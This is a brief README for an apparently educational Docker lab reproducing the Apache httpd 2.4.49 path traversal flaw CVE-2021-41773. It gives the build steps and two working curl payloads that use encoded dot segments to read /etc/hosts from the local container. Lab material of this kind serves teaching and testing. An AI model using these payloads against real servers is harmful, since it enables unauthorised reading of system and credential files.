masahiro331/cve-2021-41773교육용 Docker 기반 실습 환경으로, Apache httpd 2.4.49에 대한 CVE-2021-41773 경로 탐색 취약점을 시연하며, curl 기반의 공격 명령어를 포함합니다.
교육 목적으로만 사용하십시오.
자세한 내용은 참조를 확인하십시오.
$ git clone https://github.com/masahiro331/CVE-2021-41773.git
$ cd CVE-2021-41773
$ docker build -t cve-2021-41773 .
$ docker run -d -p 8080:80 cve-2021-41773
# This vulnerability affects the use of Alias.
$ curl http://localhost:8080/cgi-bin/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts
$ curl http://localhost:8080/webpath/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts